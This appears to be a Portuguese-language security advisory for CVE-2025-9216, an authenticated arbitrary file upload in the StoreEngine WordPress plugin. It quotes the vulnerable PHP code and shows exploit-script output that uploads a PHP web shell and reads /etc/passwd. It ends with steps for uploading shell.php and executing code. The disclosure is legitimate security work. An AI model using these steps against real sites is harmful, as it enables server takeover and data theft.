
StoreEngine – Poderoso Plugin de WooCommerce para Pagamentos, Assinaturas, Afiliados, Vendas e Mais <= 1.4.0 - Autenticado (Subscriber+) Upload Arbitrário de Arquivos
O plugin StoreEngine contém uma vulnerabilidade em seu recurso de Importação/Exportação CSV que permite que qualquer usuário autenticado (assinante, autor, editor, etc.) faça upload de arquivos arbitrários e obtenha execução remota de código. A vulnerabilidade decorre de duas falhas de segurança: (1) o endpoint de importação CSV não possui verificações adequadas de validação de arquivo, verificações de permissão e depende apenas da verificação nonce para segurança, e (2) o storeengine_nonce é exposto a TODOS os usuários do frontend através do JavaScript do plugin. Essa combinação permite que qualquer usuário autenticado extraia o nonce das páginas do frontend e o use para fazer upload de shells web PHP via endpoint storeengine_csv/import, efetivamente concedendo a usuários assinante+ a capacidade de executar código arbitrário no servidor.
omg.phppython3 ./CVE-2025-9216.py http://localhost:1337 user1 password
Logging into: http://localhost:1337/wp-admin
NOTE: This exploit works with any authenticated user (subscriber, author, editor, etc.)
Extracting nonce from frontend scripts (accessible to any user)...
storeengine_nonce: ff15beb1bd
NOTE: This nonce is exposed to ALL frontend users, making the vulnerability exploitable by any authenticated user!
NOTE: CSV Import/Export addon must be enabled by an administrator before exploitation.
This exploit demonstrates the vulnerability once the addon is already enabled.
Uploading web shell: omg.php
File upload response: {"success":true,"data":{"filename":"omg.php"}}
Web Shell At: http://localhost:1337/wp-content/uploads/storeengine_uploads/csv/omg.php
Executing test command: cat /etc/passwd
<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
</pre>
A ação AJAX storeengine_csv/import chama a função import() na linha 51 do arquivo /wp-content/plugins/storeengine/addons/csv/ajax/import.php, que não possui verificações de permissão adequadas e validação de tipo de arquivo:
public function import() {
if ( ! isset( $_FILES['file'] ) ) {
wp_send_json_error( 'No file uploaded.' );
}
$file = $_FILES['file'];
$folder = Helper::get_upload_dir() . '/csv/';
if ( ! file_exists( $folder ) ) {
wp_mkdir_p( $folder );
}
$filename = sanitize_file_name( $file['name'] );
$target = trailingslashit( $folder ) . $filename;
if ( ! move_uploaded_file( $file['tmp_name'], $target ) ) {
wp_send_json_error( 'Failed to move uploaded file.' );
}
wp_send_json_success( [
'filename' => $filename,
] );
}
A função usa apenas sanitize_file_name() para limpar o nome do arquivo, mas não realiza nenhuma validação de tipo de arquivo ou verificações de capacidade. Isso permite fazer upload de qualquer tipo de arquivo, incluindo arquivos PHP que podem ser executados pelo servidor web.
O storeengine_nonce é exposto a TODOS os usuários do frontend através do JavaScript do plugin. Isso ocorre no método _get_script_data() na linha 279 do arquivo /wp-content/plugins/storeengine/includes/assets.php:
public function _get_script_data(): array {
// ... other data ...
return [
'nonce' => wp_create_nonce( 'wp_rest' ),
'storeengine_nonce' => wp_create_nonce( 'storeengine_nonce' ), // Line 279 - EXPOSED TO ALL USERS
'rest_url' => esc_url_raw( rest_url() ),
// ... other data ...
];
}
Este nonce é então localizado para o JavaScript do frontend através do método frontend_scripts() na linha 120:
wp_localize_script(
'storeengine-frontend-scripts',
'StoreEngineGlobal',
$this->get_frontend_script_data() // Calls _get_script_data()
);
O nonce é verificado no método AbstractRequestHandler::check_permission() na linha 510 do arquivo /wp-content/plugins/storeengine/includes/classes/abstract-request-handler.php:
protected function check_permission( string $capability, bool $allow_visitors = false ) {
if ( ( ! is_user_logged_in() && ! $allow_visitors ) || ( is_user_logged_in() && $capability && ! current_user_can( $capability ) ) ) {
return new WP_Error(/* ... */);
}
return true;
}
Essa combinação permite que qualquer usuário autenticado faça upload de arquivos arbitrários, incluindo shells web PHP para execução remota de código.
POST para /wp-admin/admin-ajax.php chamando a ação storeengine_csv/import.{"success":true,"data":{"filename":"shell.php"}}.https://example.com/wp-content/uploads/storeengine_uploads/csv/shell.php e execute código.